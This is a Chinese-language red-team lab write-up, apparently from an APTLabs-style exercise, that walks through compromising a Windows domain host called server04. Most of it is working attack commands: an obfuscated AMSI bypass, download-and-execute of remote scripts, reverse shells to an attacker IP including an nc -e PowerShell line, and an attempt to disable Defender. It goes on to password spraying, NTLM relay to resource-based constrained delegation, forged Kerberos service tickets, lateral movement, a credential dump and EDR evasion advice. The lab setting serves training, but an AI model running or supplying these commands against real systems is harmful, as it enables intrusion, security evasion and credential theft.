目 录CONTENT

文章目录

红队行动Live-20250118

Administrator
2025-10-17 / 0 评论 / 0 点赞 / 18 阅读 / 0 字

1 server04枚举

  • 在通过JEA绕过获得server04s.helmer上下文后,首要任务是对当前环境进行深入枚举,以评估权限、发现潜在的攻击路径和收集关键信息。

1.1 权限与环境评估

  • 用户权限评估

    • 尝试枚举域用户失败,系统返回“访问被拒绝”的错误。这表明当前s.helmer的上下文是通过反弹shell获得的,没有显式的登录凭据(如Kerberos票据),因此无法向域控制器进行需要认证的查询。

      net user /domain
    • 检查本地管理员组成员,发现s.helmer并不在其中,但MEGABANK\Domain AdminsMEGABANK\sql_admin是该组的成员,这提供了潜在的提权目标。

      net localgroup administrators
    • 使用whoami /priv查看当前用户特权,发现只有两个基本特权:

      • SeChangeNotifyPrivilege(绕过遍历检查):允许用户访问文件和目录,即使没有其父目录的访问许可。这主要用于提升系统性能。

      • SeIncreaseWorkingSetPrivilege(增加进程工作集):允许进程请求更多的物理内存,以提高性能。

      • 这两个特权在当前场景下不具备直接的利用价值。

  • 用户与组信息详查

    • 通过whoami /all可以获取更详细的用户、组和特权信息。

    • 关键信息确认:

      • 用户名: gigantichosting\s.helmer

      • SID: S-1-5-21-3510652932-1607944569-1019420304-1607

      • 组成员: 用户属于MEGABANK\remotemanagement组,这再次印证了其跨域管理的身份。

  • 网络状态与票据缓存

    • 执行netstat -ano查看网络连接,未发现除已知服务(如SMB 445, WinRM 5985)外的特殊开放端口。

    • 执行klist查看Kerberos票据缓存,结果为空。这进一步证实了当前会话缺乏Kerberos票据,无法进行依赖Kerberos的域内操作,凸显了获取一个显式登录会话(explicit credential context)的必要性。

1.2 工具部署与防御机制初探

  • 工具传输

    • 为了进行后续的枚举和攻击,需要将攻击工具集从攻击机传输到目标server04上。

    • 使用iwr(Invoke-WebRequest)从攻击机托管的Web服务器下载一个包含多种工具的压缩包,并解压到C:\ProgramData\apps目录。

      iwr 'http://10.10.16.122/apps/apps.zip' -OutFile 'C:\ProgramData\apps.zip'; if ($?) { Expand-Archive 'C:\ProgramData\apps.zip' -DestinationPath 'C:\ProgramData\apps' }; if ($?) { ri 'C:\ProgramData\apps.zip' }; if ($?) { cd 'C:\ProgramData\apps' }; if ($?) { gci}
  • 遭遇磁盘扫描防御

    • 在工具传输完成后短暂时间内,通过gci(Get-ChildItem)再次查看目录,会发现部分工具(如PowerUpSQL.ps1, RunasCs.exe等)已被自动删除。

    • 这明确表明目标主机上存在一个活跃的防御机制(如Windows Defender),正在进行实时的磁盘文件扫描,并将已知的攻击工具识别并清除。

  • 权限限制与防御对抗

    • 尝试关闭Windows Defender的实时监控功能失败,系统返回“无法连接到CIM服务器。访问被拒绝”的错误。这说明当前s.helmer用户的权限不足以修改系统级的安全配置。

      Set-MpPreference -DisableRealtimeMonitoring $true
    • 在这种权限受限且工具会被删除的棘手环境下,单纯依赖磁盘上的工具进行攻击已不可行。必须寻找能够在内存中执行或能够绕过防御的替代方案。

1.3 利用RunasCs获取显式凭据上下文

  • 问题:当前反弹shell的上下文没有显式凭据,限制了域内枚举能力。同时,可执行文件(如RunasCs.exe)会被杀毒软件删除。

  • 解决方案:利用RunasCs工具的PowerShell脚本版本Invoke-RunasCs.ps1,通过内存加载和执行的方式来创建一个具有显式凭据的新会话,从而绕过磁盘扫描。

1.3.1 内存加载脚本与AMSI绕过

  • 直接加载失败:直接尝试在内存中加载Invoke-RunasCs.ps1脚本,同样会触发AMSI的拦截,返回“This script contains malicious content...”的错误。

    Invoke-Expression (New-Object System.Net.WebClient).DownloadString('http://10.10.16.122/apps/Invoke-RunasCs.ps1')
  • 执行AMSI绕过:首先,执行上一节中验证成功的AMSI绕过代码(如基于字符串拆分的反射方法),在当前会话中禁用AMSI。

    $x = [Ref].Assembly.GetType([string]::Join('',('S','y','s','t','e','m','.','M','a','n','a','g','e','m','e','n','t','.','A','u','t','o','m','a','t','i','o','n','.','A','m','s','i','U','t','i','l','s'))).GetField([string]::Join('',('a','m','s','i','I','n','i','t','F','a','i','l','e','d')), "NonPublic, Static")
    $x.SetValue($null, $true)
  • 再次加载成功:成功禁用AMSI后,再次执行内存加载命令,Invoke-RunasCs.ps1脚本即可成功导入到当前PowerShell会话中。

1.3.2 创建反向Shell

  • 查看帮助:通过get-help Invoke-RunasCs -examples查看命令用法,找到通过-Remote参数重定向标准输入输出以创建反向Shell的示例。

  • 执行命令:在server04上执行以下命令,使用s.helmer的已知凭据Hades123,启动一个新的powershell.exe进程,并将其输入输出重定向到攻击机(10.10.16.122)的443端口。

    Invoke-RunasCs -Domain gigantichosting.local -Username s.helmer -Password Hades123 -Command powershell.exe -Remote 10.10.16.122:443
  • 接收Shell:在攻击机上使用nc监听443端口,即可接收到一个新的、具有显式凭据上下文的PowerShell会话。

1.4 新上下文中的枚举与发现

  • 在新获得的s.helmer显式凭据会话中,我们拥有了与域控制器交互的能力。

1.4.1 域用户枚举

  • 此时再次执行net user /domain命令,成功从域控制器primary.megabank.local获取了megabank.local域的用户列表。

    net user /domain
  • 发现新用户:在返回的用户列表中,发现了几个具有明显功能性特征的新用户,这些用户成为我们下一步攻击的重要目标。

    • remote_admin: 推测为远程管理账户,可能拥有高权限。

    • sql_admin: 明确指向是SQL数据库管理员账户,可能拥有db_ownersysadmin等高权限角色。

    • svc_ata: svc前缀表明这是一个服务账户,ata可能与Microsoft Advanced Threat Analytics(高级威胁分析)相关,负责监控域内威胁,权限范围可能很广。

    • veeam: 可能与Veeam备份与恢复软件相关,通常需要对文件系统、数据库有完全控制权限。

1.4.2 凭据碰撞攻击(撞库)

  • 思路:考虑到gigantichosting.localmegabank.local之间的域信任关系,以及新发现的功能性账号,存在一个合理的推测:这些功能性账号的密码可能与之前在gigantichosting.local域中破解出的用户密码存在重用。

  • 准备工作

    • 创建用户名字典文件(4users),包含四个新发现的功能性账号。

    • 创建密码字典文件(pwd_24_112),包含之前破解出的10个gigantichosting.local用户的明文密码。

  • 执行碰撞:使用nxc(NetExec)对megabank.local的域控制器dc.megabank.local进行密码喷洒攻击。

    sudo proxychains -f chain1080.conf -q nxc smb dc.megabank.local -u 4users -p pwd_24_112 --continue-on-success
  • 成功命中:攻击结果显示,用户megabank.local\svc_ata的密码为Password123

1.5 获得svc_ata会话

  • 利用新凭据:再次使用Invoke-RunasCs脚本,这次使用刚刚获得的svc_ata凭据,为megabank.local域创建一个新的反向Shell。

    Invoke-RunasCs -Domain megabank.local -Username svc_ata -Password Password123 -Command powershell.exe -Remote 10.10.16.122:443
  • 确认新上下文

    • 在新获得的Shell中,执行whoami确认为megabank\svc_ata

    • 执行klist,发现缓存中存在一个属于svc_ata的Kerberos TGT票据。这表明我们现在拥有一个完整的、经过Kerberos认证的会话,具备了执行更高级域攻击的基础。

  • 权限测试:尝试在新会话中关闭Defender实时监控,仍然失败。这说明svc_ata用户虽然是域用户,但在本地server04上同样不具备修改系统安全配置的管理员权限。

1.6 RBCD中继攻击与提权

  • 虽然破解SERVER04$的机器账户哈希失败,但成功捕获该哈希意味着我们可以尝试进行NTLM中继攻击。结合之前发现的svc_ata账户,我们可以实施一次基于资源的约束委派(RBCD)攻击来提升权限。

1.6.1 触发SMB认证与哈希捕获

  • 动态DNS注册:为了让目标服务器能够通过一个我们控制的域名找到我们的攻击机,首先在svc_ata会话中加载Invoke-DNSUpdate.ps1脚本,并动态地将一个子域名(如redteamnotes.megabank.local)的A记录指向我们的攻击机IP(10.10.16.122)。

    Invoke-Expression (New-Object System.Net.WebClient).DownloadString('http://10.10.16.122:81/apps/Invoke-DNSUpdate.ps1')
    Invoke-DNSUpdate -DNSType A -DNSNAME redteamnotes.megabank.local -DNSData 10.10.16.122
  • 启动嗅探:在攻击机上启动responder,监听tun0网卡,准备捕获认证信息。

    sudo responder -I tun0
  • 触发认证:在s.helmersvc_ata的会话中,使用sqlcmd和之前发现的弱口令Admin:Admin,执行xp_dirtree扩展存储过程,强制SQL Server服务访问一个指向我们刚刚注册的域名的UNC路径。

    sqlcmd -S SERVER04\RE7_MS -U Admin -P Admin -Q "EXEC master.sys.xp_dirtree '\\redteamnotes.megabank.local\something';"
  • 捕获哈希responder成功捕获到来自server04MEGABANK\SERVER04$机器账户的Net-NTLMv2哈希。

1.6.2 NTLM中继与RBCD设置

  • 启动中继:在攻击机上停止responder,启动impacket-ntlmrelayx进行中继攻击。

    • 目标:将捕获到的SERVER04$的认证信息中继到域控制器192.168.24.10的LDAP服务。

    • 动作:使用-delegate-access参数,指示ntlmrelayx执行RBCD攻击。

    • 提权对象:使用-escalate-user svc_ata参数,指定当SERVER04$的认证被成功中继后,将svc_ata这个账户添加到SERVER04$msDS-AllowedToActOnBehalfOfOtherIdentity属性中。

    sudo proxychains -f chain1080.conf -q impacket-ntlmrelayx -t ldap://192.168.24.10 -delegate-access -escalate-user svc_ata
  • 再次触发认证:在目标机上重新执行xp_dirtree命令。

  • 中继成功ntlmrelayx的日志显示认证成功,并成功修改了委派权限。

    [*] Delegation rights modified succesfully!
    [*] svc_ata can now impersonate users on SERVER04$ via S4U2Proxy
  • 注意:这种通过中继修改的RBCD委派关系通常有较短的有效期(约2-3分钟),后续的票据请求操作必须迅速完成。

1.6.3 获取服务票据(S4U)

  • 配置Kerberos环境

    • 在攻击机上配置/etc/krb5.conf文件,定义MEGABANK.LOCAL域的KDC地址。

    • 导出环境变量KRB5CCNAME,指向即将生成的票据缓存文件。

  • 请求票据:使用impacket-getST工具,利用svc_ata的凭据,模拟(impersonate)sql_admin用户,向域控制器请求一张用于访问SERVER04上CIFS服务(文件共享服务)的服务票据(ST)。

    sudo proxychains -f chain1080.conf -q impacket-getST -spn CIFS/SERVER04.MEGABANK.LOCAL -impersonate 'sql_admin' -ts MEGABANK/svc_ata:Password123 -dc-ip 192.168.24.10
  • 票据生成:命令成功执行后,会在当前目录下生成一个名为sql_admin@CIFS_SERVER04.MEGABANK.LOCAL@MEGABANK.LOCAL.ccache的票据缓存文件。

1.6.4 票据利用与横向移动

  • 设置票据环境变量:将KRB5CCNAME环境变量指向刚刚生成的票据文件。

    export KRB5CCNAME=sql_admin@CIFS_SERVER04.MEGABANK.LOCAL@MEGABANK.LOCAL.ccache
  • 执行横向移动:使用impacket-smbexec,通过-k(使用Kerberos认证)和-no-pass(不提供密码,而是使用缓存的票据)参数,以sql_admin的身份登录到SERVER04

    sudo proxychains -f chain1080.conf -q impacket-smbexec -k -no-pass MEGABANK.local/sql_admin@SERVER04.MEGABANK.LOCAL -ts
  • 权限提升:成功登录后,执行whoami,发现当前权限为nt authority\system,已获得系统最高权限。

  • 获取Flag

    type c:\users\administrator\desktop\flag.txt
    APTLABS{Th3_SQL_@Dm!n}

1.7 权限提升与凭据转储

  • 获取完整交互Shellsmbexec提供的是半交互式Shell,操作不便。利用已有的system权限,执行命令下载nc64.exe并启动一个反向PowerShell shell,从而获得一个完整交互式的System权限Shell。

    powershell -c "Start-Process 'c:\programdata\apps\nc64.exe' -ArgumentList '-e', 'powershell.exe 10.10.16.122 443' -WindowStyle Hidden"
  • 转储系统凭据:利用获得的Kerberos票据和System权限,使用impacket-secretsdumpserver04进行凭据转储,获取本地SAM、LSA Secrets和缓存的域凭据。

    sudo proxychains -f chain1080.conf -q impacket-secretsdump MEGABANK.local/sql_admin@SERVER04.MEGABANK.LOCAL -k -no-pass -ts
  • 获得管理员哈希:转储结果中包含本地Administrator账户的NTLM哈希:485abbd388d6e0b7108e709a0fab67b0

1.8 拓展:横向移动工具选择的免杀视角

  • 在拥有票据或哈希后,选择不同的横向移动工具可能会产生不同的结果,这与目标环境的防御策略密切相关。

  • psexec vs smbexec

    • impacket-psexec:其工作原理是上传一个可执行文件到目标的ADMIN$共享,然后通过RPC创建并启动一个系统服务来运行这个文件。这种方式由于会创建新服务和写入新文件,更容易被EDR等行为检测引擎发现并拦截,可能导致“Pipe not ready, aborting”等错误。

    • impacket-smbexec:它不上传任何可执行文件,而是通过RPC在目标上创建一个临时的批处理文件来执行命令,并通过读取输出来回显结果。由于它利用的是系统原生工具且不创建新服务,行为上更“正常”,因此在某些防御环境下具有更好的规避效果。

  • 结论:当psexec因安全限制失败时,smbexec因其更少侵入性的操作方式,可能成为一个成功的替代方案。理解不同工具的底层实现原理,是选择正确战术的关键。

-.-

0

评论区